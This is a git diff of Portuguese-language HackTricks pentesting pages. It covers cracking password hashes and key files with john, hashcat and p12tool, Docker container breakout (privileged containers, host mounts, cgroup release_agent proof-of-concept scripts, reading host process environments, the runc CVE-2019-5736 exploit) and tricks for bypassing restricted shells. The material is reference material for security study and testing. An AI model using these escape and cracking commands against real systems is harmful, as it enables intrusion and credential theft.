It is worth noting that brute force attacks are illegal and unethical unless conducted with proper authorization for legitimate security testing purposes. Always obtain permission before attempting any form of hacking or penetration testing.
|
||||
It is also worth noting that brute force attacks can be detected by monitoring for multiple failed login attempts from the same IP address or user account.
|
||||
```bash
|
||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||
|
@ -1081,13 +1066,7 @@ dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c9
|
|||
```
|
||||
### Chave privada PGP/GPG
|
||||
|
||||
A chave privada PGP/GPG é um componente essencial para a criptografia de dados. Ela é usada para descriptografar mensagens criptografadas com a chave pública correspondente. A chave privada deve ser mantida em sigilo absoluto, pois qualquer pessoa que a possua pode acessar e decifrar as mensagens protegidas por ela.
|
||||
|
||||
A perda ou comprometimento da chave privada pode resultar na exposição de informações sensíveis e na violação da privacidade. Portanto, é fundamental proteger adequadamente a chave privada PGP/GPG, armazenando-a em um local seguro e utilizando medidas de segurança adicionais, como senhas fortes e autenticação de dois fatores.
|
||||
|
||||
Ao realizar a engenharia reversa de um aplicativo ou sistema, a obtenção da chave privada PGP/GPG pode ser um objetivo importante para um hacker. Isso pode ser alcançado por meio de técnicas de força bruta, que envolvem a tentativa sistemática de todas as combinações possíveis até encontrar a chave correta.
|
||||
|
||||
É importante ressaltar que a obtenção não autorizada de uma chave privada PGP/GPG é uma atividade ilegal e antiética. Apenas profissionais de segurança autorizados devem realizar testes de penetração e engenharia reversa, seguindo as leis e regulamentos aplicáveis.
|
||||
A chave privada PGP/GPG é um componente essencial para a criptografia de dados. Ela é usada para descriptografar mensagens criptografadas com a chave pública correspondente. A chave privada é mantida em sigilo e não deve ser compartilhada com ninguém. É importante proteger a chave privada com uma senha forte para evitar acesso não autorizado. Se a chave privada for comprometida, a segurança dos dados criptografados estará em risco. Portanto, é fundamental manter a chave privada em um local seguro e tomar medidas adequadas para protegê-la.
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
@ -1116,13 +1095,17 @@ zip -r file.xls .
|
|||
```
|
||||
### Certificados PFX
|
||||
|
||||
Certificados PFX são arquivos que contêm chaves privadas e certificados públicos em um formato específico. Eles são usados para autenticação e criptografia em várias aplicações e sistemas. Os certificados PFX são protegidos por uma senha, o que garante a segurança das chaves privadas.
|
||||
Certificados PFX são arquivos que contêm chaves privadas e certificados públicos em um formato específico. Eles são usados para autenticação e criptografia em várias aplicações e serviços. Os certificados PFX são protegidos por uma senha, o que garante a segurança das chaves privadas.
|
||||
|
||||
### Força Bruta
|
||||
### Ataques de Força Bruta
|
||||
|
||||
A força bruta é uma técnica de hacking que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. É uma abordagem de ataque direto e demorada, mas pode ser eficaz quando outras opções de acesso não estão disponíveis. A força bruta pode ser usada para quebrar senhas de contas de usuário, chaves de criptografia e outros sistemas de segurança.
|
||||
Um ataque de força bruta é uma técnica usada para quebrar senhas ou chaves criptográficas, tentando todas as combinações possíveis até encontrar a correta. Esse tipo de ataque pode ser usado para tentar quebrar a senha de um certificado PFX.
|
||||
|
||||
Existem várias ferramentas e recursos disponíveis para realizar ataques de força bruta, como programas de cracking de senhas e dicionários de palavras-chave. É importante ressaltar que a força bruta é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário do sistema alvo, como parte de um teste de penetração autorizado.
|
||||
Existem várias ferramentas disponíveis para realizar ataques de força bruta, como o Hydra e o Medusa. Essas ferramentas automatizam o processo de tentar várias combinações de senhas em um curto período de tempo.
|
||||
|
||||
No entanto, é importante ressaltar que ataques de força bruta podem ser demorados e consomem muitos recursos computacionais. Além disso, eles podem ser detectados por sistemas de segurança, como firewalls e sistemas de detecção de intrusão.
|
||||
|
||||
Portanto, é recomendado que senhas fortes sejam utilizadas para proteger certificados PFX, a fim de dificultar ou impedir ataques de força bruta bem-sucedidos.
|
||||
```bash
|
||||
# From https://github.com/Ridter/p12tool
|
||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||
|
@ -1132,7 +1115,7 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1141,7 +1124,7 @@ Acesse hoje mesmo:
|
|||
|
||||
**Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Identificador de Hash
|
||||
### Identificador de hash
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
|
@ -1151,7 +1134,7 @@ hash-identifier
|
|||
* **Rockyou**
|
||||
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
|
||||
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
|
||||
* [**Seclists - Senhas**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
|
||||
|
||||
### **Ferramentas de geração de listas de palavras**
|
||||
|
||||
|
@ -1232,23 +1215,23 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
|||
```
|
||||
#### Modos do Hashcat
|
||||
|
||||
Hashcat é uma ferramenta de quebra de senha que suporta vários modos de ataque. Cada modo é projetado para atacar um tipo específico de hash ou algoritmo de criptografia. Os modos do Hashcat incluem:
|
||||
Hashcat é uma ferramenta de quebra de senha que suporta vários modos de ataque. Cada modo é projetado para atacar um tipo específico de hash ou algoritmo de criptografia. Os modos mais comuns do Hashcat incluem:
|
||||
|
||||
- **Modo de força bruta**: Este modo tenta todas as combinações possíveis de caracteres até encontrar a senha correta. É o método mais básico e demorado, mas pode ser eficaz para senhas fracas.
|
||||
- **Modo de força bruta**: Este modo tenta todas as combinações possíveis de caracteres para encontrar a senha correta. É o método mais básico e demorado, mas pode ser eficaz para senhas fracas ou curtas.
|
||||
|
||||
- **Modo de dicionário**: Neste modo, o Hashcat usa uma lista de palavras conhecidas, chamada de dicionário, para tentar encontrar a senha. É mais rápido do que o modo de força bruta, mas requer um dicionário de alta qualidade.
|
||||
- **Modo de dicionário**: Neste modo, o Hashcat usa uma lista de palavras conhecidas (dicionário) para tentar encontrar a senha correspondente. É mais rápido do que o modo de força bruta, mas requer um dicionário de alta qualidade.
|
||||
|
||||
- **Modo de ataque de regra**: Este modo aplica regras personalizadas às palavras do dicionário para gerar variações e aumentar as chances de encontrar a senha. As regras podem incluir alterações de capitalização, substituições de caracteres, adição de números, entre outras.
|
||||
- **Modo de ataque de regra**: Este modo aplica regras personalizadas às palavras do dicionário para gerar variações e aumentar as chances de encontrar a senha correta. As regras podem incluir inversão de caracteres, adição de números, substituição de letras, entre outras.
|
||||
|
||||
- **Modo de ataque de máscara**: Neste modo, o Hashcat usa uma máscara personalizada para gerar todas as combinações possíveis de caracteres com base em um padrão definido. É útil quando você conhece o formato geral da senha, mas não a senha real.
|
||||
- **Modo de ataque de máscara**: Neste modo, o Hashcat usa uma máscara personalizada para gerar todas as combinações possíveis de caracteres com base em um padrão definido. É útil quando você conhece parte da senha ou o formato geral dela.
|
||||
|
||||
- **Modo de ataque híbrido**: Este modo combina o uso de um dicionário com o modo de ataque de máscara. Ele permite que você especifique uma parte fixa da senha e gere todas as combinações possíveis para a parte variável.
|
||||
- **Modo de ataque híbrido**: Este modo combina o uso de dicionários e máscaras para aumentar a eficiência do ataque. Ele usa o dicionário para gerar palavras base e, em seguida, aplica máscaras para criar variações.
|
||||
|
||||
- **Modo de ataque de força bruta combinada**: Neste modo, o Hashcat combina o modo de força bruta com o modo de dicionário. Ele tenta todas as combinações possíveis de caracteres, mas também usa um dicionário para acelerar o processo.
|
||||
- **Modo de ataque combinado**: Neste modo, o Hashcat combina duas ou mais listas de palavras conhecidas para gerar todas as combinações possíveis. É útil quando você tem várias fontes de palavras-chave.
|
||||
|
||||
- **Modo de ataque de força bruta híbrida**: Este modo combina o modo de força bruta com o modo de ataque de máscara. Ele tenta todas as combinações possíveis de caracteres, mas também usa uma máscara personalizada para gerar variações.
|
||||
- **Modo de ataque de força bruta incremental**: Este modo é semelhante ao modo de força bruta, mas permite definir um conjunto de caracteres específico para cada posição da senha. Isso pode reduzir o espaço de busca e acelerar o processo de quebra de senha.
|
||||
|
||||
Cada modo de ataque tem suas vantagens e desvantagens, e a escolha do modo certo depende do tipo de hash ou algoritmo de criptografia que você está tentando quebrar. É importante entender as características de cada modo para maximizar suas chances de sucesso.
|
||||
Cada modo tem suas vantagens e desvantagens, e a escolha do modo certo depende do tipo de hash ou algoritmo de criptografia que você está tentando quebrar. É importante entender as características de cada modo para maximizar suas chances de sucesso.
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
|
@ -1268,7 +1251,7 @@ Existem várias ferramentas disponíveis para realizar ataques de força bruta e
|
|||
|
||||
- **John the Ripper**: uma ferramenta de quebra de senha altamente configurável e amplamente utilizada.
|
||||
- **Hashcat**: uma ferramenta de quebra de senha de alto desempenho que suporta vários algoritmos de hash.
|
||||
- **Hydra**: uma ferramenta de força bruta de login em rede que também pode ser usada para quebrar senhas do Linux.
|
||||
- **Hydra**: uma ferramenta de força bruta de login em rede que pode ser usada para quebrar senhas do Linux, entre outros.
|
||||
|
||||
## Considerações de Segurança
|
||||
|
||||
|
@ -1276,7 +1259,7 @@ Existem várias ferramentas disponíveis para realizar ataques de força bruta e
|
|||
|
||||
## Conclusão
|
||||
|
||||
A quebra de senhas criptografadas do Linux pode ser realizada usando a metodologia de força bruta e várias ferramentas disponíveis. No entanto, é importante lembrar que a segurança dos sistemas depende de senhas fortes e práticas adequadas de segurança.
|
||||
A quebra de senhas criptografadas do Linux pode ser uma tarefa desafiadora, mas com as ferramentas e metodologias corretas, é possível obter sucesso. No entanto, é importante sempre agir dentro dos limites legais e éticos ao realizar testes de penetração em sistemas Linux.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
|
@ -1287,11 +1270,11 @@ A quebra de senhas criptografadas do Linux pode ser realizada usando a metodolog
|
|||
|
||||
## Introdução
|
||||
|
||||
Quebrar hashes do Windows é uma técnica comum usada por hackers para obter senhas de contas de usuário em sistemas operacionais Windows. Os hashes são representações criptografadas das senhas armazenadas nos bancos de dados do sistema. Ao quebrar esses hashes, os hackers podem obter acesso não autorizado às contas de usuário.
|
||||
Quebrar hashes do Windows é uma técnica comum usada por hackers para obter senhas de contas de usuário. Os hashes são representações criptografadas das senhas armazenadas no sistema operacional Windows. Ao quebrar esses hashes, os hackers podem obter acesso não autorizado às contas dos usuários.
|
||||
|
||||
## Metodologia de Força Bruta
|
||||
|
||||
A metodologia de força bruta é uma abordagem comum para quebrar hashes do Windows. Nessa técnica, o hacker tenta todas as combinações possíveis de senhas até encontrar a correspondência correta com o hash. Isso é feito usando programas de cracking de senha que automatizam o processo de tentativa e erro.
|
||||
A metodologia de força bruta é uma abordagem comum para quebrar hashes do Windows. Nessa técnica, o hacker tenta todas as combinações possíveis de senhas até encontrar a correspondência correta com o hash. Isso é feito usando programas de cracking de senha que automatizam o processo.
|
||||
|
||||
## Ferramentas de Quebra de Hashes
|
||||
|
||||
|
@ -1299,15 +1282,23 @@ Existem várias ferramentas disponíveis para quebrar hashes do Windows. Algumas
|
|||
|
||||
- John the Ripper
|
||||
- Hashcat
|
||||
- Cain & Abel
|
||||
- Cain and Abel
|
||||
|
||||
Essas ferramentas são capazes de quebrar hashes usando diferentes técnicas, como força bruta, dicionário e ataques híbridos.
|
||||
Essas ferramentas são altamente eficientes e podem quebrar hashes do Windows em um curto período de tempo, dependendo da complexidade da senha.
|
||||
|
||||
## Considerações de Segurança
|
||||
## Dicas para Quebrar Hashes do Windows
|
||||
|
||||
É importante ressaltar que a quebra de hashes do Windows é uma atividade ilegal, a menos que seja realizada com permissão explícita do proprietário do sistema. A utilização dessas técnicas sem autorização pode resultar em consequências legais graves.
|
||||
Aqui estão algumas dicas úteis para quebrar hashes do Windows:
|
||||
|
||||
Além disso, é fundamental que os usuários escolham senhas fortes e únicas para evitar que seus hashes sejam quebrados facilmente. O uso de senhas complexas, combinadas com autenticação de dois fatores, pode ajudar a proteger as contas de usuário contra ataques de quebra de hashes.
|
||||
1. Use uma lista de palavras-chave comuns: Muitas vezes, as senhas são baseadas em palavras-chave comuns, como nomes de animais, datas de nascimento, etc. Usar uma lista de palavras-chave comuns pode aumentar suas chances de sucesso.
|
||||
|
||||
2. Use regras de transformação: As ferramentas de quebra de hash permitem aplicar regras de transformação às palavras-chave, como adicionar números ou símbolos no final. Isso pode ajudar a quebrar senhas que são variações de palavras-chave comuns.
|
||||
|
||||
3. Use um dicionário personalizado: Criar um dicionário personalizado com base em informações sobre o alvo pode aumentar suas chances de sucesso. Inclua palavras-chave relacionadas ao alvo, como nomes de familiares, lugares favoritos, etc.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Quebrar hashes do Windows é uma técnica poderosa usada por hackers para obter acesso não autorizado a contas de usuário. Usando a metodologia de força bruta e ferramentas de quebra de hash, os hackers podem automatizar o processo de quebra de senhas. No entanto, é importante lembrar que a quebra de hashes é uma atividade ilegal e deve ser realizada apenas com permissão legal.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
|
@ -1377,7 +1368,7 @@ Quebrar hashes de senhas de aplicativos comuns é uma técnica comum usada pelos
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Docker Breakout / Escalada de Privilégios
|
||||
# Docker Breakout / Escalação de Privilégios
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,12 +15,12 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Enumeração e Escape Automáticos
|
||||
## Enumeração e Escapamento Automático
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Também pode **enumerar containers**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Essa ferramenta é bastante **útil para enumerar o container em que você está e até mesmo tentar escapar automaticamente**
|
||||
|
@ -28,7 +28,7 @@ Acesse hoje:
|
|||
* [**deepce**](https://github.com/stealthcopter/deepce): Ferramenta para enumerar e escapar de containers
|
||||
* [**grype**](https://github.com/anchore/grype): Obtenha as CVEs contidas no software instalado na imagem
|
||||
|
||||
## Escape do Docker Socket Montado
|
||||
## Escapamento do Docker Socket Montado
|
||||
|
||||
Se de alguma forma você descobrir que o **socket do docker está montado** dentro do container do docker, você poderá escapar dele.\
|
||||
Isso geralmente acontece em containers do docker que, por algum motivo, precisam se conectar ao daemon do docker para realizar ações.
|
||||
|
@ -112,9 +112,9 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
```
|
||||
### Privilégios
|
||||
|
||||
Apenas com a flag de privilégio, você pode tentar **acessar o disco do host** ou tentar **escapar abusando do release\_agent ou de outras formas de escape**.
|
||||
Apenas com a flag de privilégio, você pode tentar **acessar o disco do host** ou tentar **escapar abusando do release\_agent ou de outros escapes**.
|
||||
|
||||
Teste as seguintes formas de bypass em um container executando:
|
||||
Teste as seguintes formas de contornar em um contêiner executando:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
|
@ -190,7 +190,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
#### Fuga de privilégios abusando do release_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### Escapando de privilégios abusando do release_agent criado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Segundo PoC" %}
|
||||
```bash
|
||||
|
@ -338,16 +338,15 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
```
|
||||
#### Fuga de privilégios abusando de montagens sensíveis
|
||||
|
||||
Existem vários arquivos que podem ser montados e fornecer informações sobre o host subjacente. Alguns deles podem até indicar algo a ser executado pelo host quando algo acontece (o que permitirá que um invasor escape do contêiner).\
|
||||
O abuso desses arquivos pode permitir que:
|
||||
Existem vários arquivos que podem ser montados e fornecer informações sobre o host subjacente. Alguns deles podem até indicar algo a ser executado pelo host quando algo acontece (o que permitirá que um invasor escape do contêiner). A exploração desses arquivos pode permitir que:
|
||||
|
||||
* release\_agent (já abordado anteriormente)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* release_agent (já abordado anteriormente)
|
||||
* [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
|
||||
* [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
|
||||
* [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
No entanto, você pode encontrar **outros arquivos sensíveis** para verificar nesta página:
|
||||
No entanto, você pode encontrar outros arquivos sensíveis para verificar nesta página:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
|
@ -355,7 +354,7 @@ No entanto, você pode encontrar **outros arquivos sensíveis** para verificar n
|
|||
|
||||
### Montagens arbitrárias
|
||||
|
||||
Em várias ocasiões, você descobrirá que o **contêiner possui algum volume montado do host**. Se esse volume não estiver configurado corretamente, você poderá **acessar/modificar dados sensíveis**: ler segredos, alterar chaves autorizadas do SSH...
|
||||
Em várias ocasiões, você descobrirá que o contêiner possui algum volume montado do host. Se esse volume não estiver configurado corretamente, você poderá acessar/modificar dados sensíveis: ler segredos, alterar chaves autorizadas do SSH...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
|
@ -416,7 +415,7 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
Se você conseguir acessar os processos do host, você será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
Se você pode acessar os processos do host, você será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
|
@ -431,7 +430,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
Você também pode **acessar os descritores de arquivo de outros processos e ler os arquivos abertos por eles**:
|
||||
Você também pode **acessar os descritores de arquivo de outros processos e ler seus arquivos abertos**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -485,7 +484,7 @@ A segunda técnica explicada no post [https://labs.f-secure.com/blog/abusing-the
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -494,9 +493,9 @@ Acesse hoje mesmo:
|
|||
|
||||
### Exploração do Runc (CVE-2019-5736)
|
||||
|
||||
Caso você possa executar `docker exec` como root (provavelmente com sudo), você pode tentar elevar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Essa técnica basicamente irá **sobrescrever** o binário _**/bin/sh**_ do **host** **a partir de um contêiner**, então qualquer pessoa que execute o docker exec pode acionar a carga útil.
|
||||
Caso você possa executar `docker exec` como root (provavelmente com sudo), você pode tentar elevar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Essa técnica basicamente **sobrescreverá** o binário _**/bin/sh**_ do **host** **a partir de um contêiner**, então qualquer pessoa que execute o docker exec pode acionar a carga útil.
|
||||
|
||||
Altere a carga útil conforme necessário e compile o main.go com `go build main.go`. O binário resultante deve ser colocado no contêiner do Docker para execução.\
|
||||
Altere a carga útil conforme necessário e compile o main.go com `go build main.go`. O binário resultante deve ser colocado no contêiner Docker para execução.\
|
||||
Ao executar, assim que exibir `[+] Overwritten /bin/sh successfully`, você precisa executar o seguinte no host:
|
||||
|
||||
`docker exec -it <nome-do-contêiner> /bin/sh`
|
||||
|
@ -506,14 +505,14 @@ Isso acionará a carga útil presente no arquivo main.go.
|
|||
Para mais informações: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Existem outras CVEs às quais o contêiner pode estar vulnerável, você pode encontrar uma lista em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
Existem outras CVEs às quais o contêiner pode ser vulnerável, você pode encontrar uma lista em [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Docker Custom Escape
|
||||
|
||||
### Superfície de Escape do Docker
|
||||
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido aos namespaces (por padrão, não é possível se comunicar via IPCs, unix sockets, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido aos namespaces (por padrão, não é possível se comunicar via IPCs, soquetes Unix, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Usuário root**: Por padrão, o usuário que executa o processo é o usuário root (no entanto, seus privilégios são limitados).
|
||||
* **Capacidades**: O Docker deixa as seguintes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Essas são as syscalls que o **usuário root não poderá chamar** (por falta de capacidades + Seccomp). As outras syscalls podem ser usadas para tentar escapar.
|
||||
|
@ -626,7 +625,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# Bypassar Restrições no Linux
|
||||
# Bypassando Restrições no Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -46,13 +46,13 @@ Existem várias técnicas que podem ser usadas para contornar restrições de ca
|
|||
|
||||
2. **Usar caracteres de escape**: Se uma palavra está proibida, você pode usar caracteres de escape para contornar a restrição. Por exemplo, se a palavra proibida é `proibido`, você pode digitar `pro\ibido` para evitar a detecção.
|
||||
|
||||
3. **Renomear arquivos ou executáveis**: Se um arquivo ou executável está restrito, você pode renomeá-lo para evitar a detecção. Por exemplo, se o arquivo restrito é chamado de `restrito.sh`, você pode renomeá-lo para `permitido.sh` e executá-lo usando o novo nome.
|
||||
3. **Renomear arquivos ou executáveis**: Se um arquivo ou executável está restrito, você pode renomeá-lo para evitar a detecção. Por exemplo, se o arquivo restrito é chamado de `restrito.sh`, você pode renomeá-lo para `permitido.sh` e executá-lo sem problemas.
|
||||
|
||||
4. **Usar aliases**: Você pode criar aliases para comandos ou executáveis restritos. Por exemplo, se o comando `ls` está restrito, você pode criar um alias chamado `listar` que execute o mesmo comando.
|
||||
|
||||
5. **Usar variáveis de ambiente**: Você pode usar variáveis de ambiente para contornar restrições. Por exemplo, se um caminho está restrito, você pode definir uma variável de ambiente com o caminho desejado e usá-la em vez do caminho restrito.
|
||||
|
||||
Lembre-se de que essas técnicas devem ser usadas com responsabilidade e apenas para fins legais e autorizados. O uso indevido dessas técnicas pode resultar em consequências legais.
|
||||
Lembre-se de que essas técnicas devem ser usadas com responsabilidade e apenas para fins legais e autorizados. O uso indevido dessas técnicas pode resultar em consequências legais graves.
|
||||
